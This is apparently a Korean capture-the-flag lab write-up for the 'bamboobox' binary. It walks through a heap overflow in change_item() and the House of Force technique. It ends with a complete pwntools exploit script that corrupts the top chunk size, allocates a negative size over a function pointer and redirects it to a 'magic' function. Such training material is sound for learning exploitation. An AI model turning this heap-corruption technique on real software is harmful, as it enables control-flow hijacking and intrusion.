문제
bamboobox 바이너리의 checksec 결과는 다음과 같다.
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
file 명령어의 결과는 다음과 같다.
bamboobox: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=595428ebf89c9bf7b914dd1d2501af50d47bbbe1, not stripped
바이너리 코드
main()
int __cdecl main(int argc, const char **argv, const char **envp)
{
...
v3 = malloc(0x10uLL);
*v3 = hello_message;
v3[1] = goodbye_message;
((void (__fastcall *)(signed __int64, _QWORD))*v3)(16LL, 0LL);
while ( 1 )
{
menu();
read(0, &buf, 8uLL);
switch ( atoi(&buf) )
{
case 1:
show_item();
break;
case 2:
add_item();
break;
case 3:
change_item();
break;
case 4:
remove_item();
break;
case 5:
((void (__fastcall *)(char *, char *))v3[1])(&buf, &buf);
exit(0);
return;
default:
puts("invaild choice!!!");
break;
}
}
}
add_item()
__int64 add_item()
{
...
else
{
printf("Please enter the length of item name:");
read(0, &buf, 8uLL);
v2 = atoi(&buf);
if ( !v2 )
{
puts("invaild length");
return 0LL;
}
for ( i = 0; i <= 99; ++i )
{
if ( !qword_6020C8[2 * i] )
{
*((_DWORD *)&itemlist + 4 * i) = v2;
qword_6020C8[2 * i] = malloc(v2);
printf("Please enter the name of item:");
*(_BYTE *)(qword_6020C8[2 * i] + (signed int)read(0, (void *)qword_6020C8[2 * i], v2)) = 0;
++num;
return 0LL;
}
}
}
return 0LL;
}
change_item()
unsigned __int64 change_item()
{
...
if ( num )
{
printf("Please enter the index of item:");
read(0, &buf, 8uLL);
v2 = atoi(&buf);
if ( qword_6020C8[2 * v2] )
{
printf("Please enter the length of item name:", &buf);
read(0, &nptr, 8uLL);
v0 = atoi(&nptr);
printf("Please enter the new name of the item:", &nptr);
*(_BYTE *)(qword_6020C8[2 * v2] + (signed int)read(0, (void *)qword_6020C8[2 * v2], v0)) = 0;
}
else
{
puts("invaild index");
}
}
else
{
puts("No item in the box");
}
return __readfsqword(0x28u) ^ v5;
}
add_item() 함수에서는 할당받을 chunk의 크기를 입력 받고 해당 chunk에 item 이름을 입력 받는다. (chunk의 크기 만큼 문자열을 입력할 수 있다.)
itemlist는 chunk의 크기 (8byte), chunk의 주소 (8byte)로 구성된다.
change_item() 함수에서는 선택한 itemlist 항목의 item 이름을 변경한다. 그런데 이 때 입력 받을 문자열의 길이를 다시 입력으로 받는다. 이를 통해서 top chunk의 size 영역을 overwrite 할 수 있다. (the house of force 공격이 가능)
exploit 방법
- change_item() 함수를 통해서 top chunk의 size 영역에 0xffffffffffffffff을 overwrite 한다.
- add_item() 함수를 통해서 -(새로 할당될 chunk의 주소 - (main() 함수에서 v3에 할당된 chunk의 주소 - 16) ) 크기 만큼 chunk를 할당한다.
- add_item() 함수를 통해서 16 바이트 크기의 chunk를 할당하면 v3 영역이 할당 된다.
- change_item() 함수를 통해서 v3[1]을 magic 함수의 주소로 바꾼 후 v3[1]을 호출한다.
주의할 점1
메모리 구조는 다음과 같다.
------------------
Not allocated
------------------
Heap base
------------------
Topchunk
------------------
the house of force 공격을 할 때 매우 큰 크기의 chunk를 할당할 때 top chunk의 size, prev_size 같은 것들이 Not allocated 영역 (write 권한이 없는 영역일 때)에 write 되지 않도록 크기를 잘 계산하자.
주의할 점2
the house of force 공격을 할 때 매우 큰 크기의 chunk를 할당한 이후에 top chunk의 크기가 적절히 남도록 주의하자.
예를 들어서 큰 할당 이후 top chunk가 0x38 남았을 때 내가 0x20 만큼 할당받으려고 하면 top chunk가 너무 조금 남아서 top chunk를 확장하려고 하는데 이때 malloc에서 sigabrt 에러가 발생한다. (내가 top chunk에 이상한 짓을 한 이후에 top chunk를 확장하려고 하는 상황에서 뭔가가 꼬이는 듯)
풀이
#!/usr/bin/python
from pwn import *
def add_item(length,pay):
p.recvuntil("choice:")
p.send("2")
p.recvuntil("name:")
p.send(length)
p.recvuntil("item:")
p.send(pay)
def chan_item(index,length,pay):
p.recvuntil("choice")
p.send("3")
p.recvuntil("item:")
p.send(index)
p.recvuntil("name:")
p.send(length)
p.recvuntil("item:")
p.send(pay)
file_path="/home/sungyun/round4/lab11/bamboobox"
p=process(file_path)
add_item("16","house_of_force")
add_item("16","hmm..")
pay="A"*16+"\x00"*8
pay+="\xff\xff\xff\xff\xff\xff\xff\xff"
chan_item("1","32",pay)
add_item("-112","hi_3ffr3s")
add_item("16","exploit!")
pay2="A"*8
pay2+=p64(0x400d49) #magic
chan_item("3","16",pay2)
p.recvuntil("choice:")
p.send("5")
p.interactive()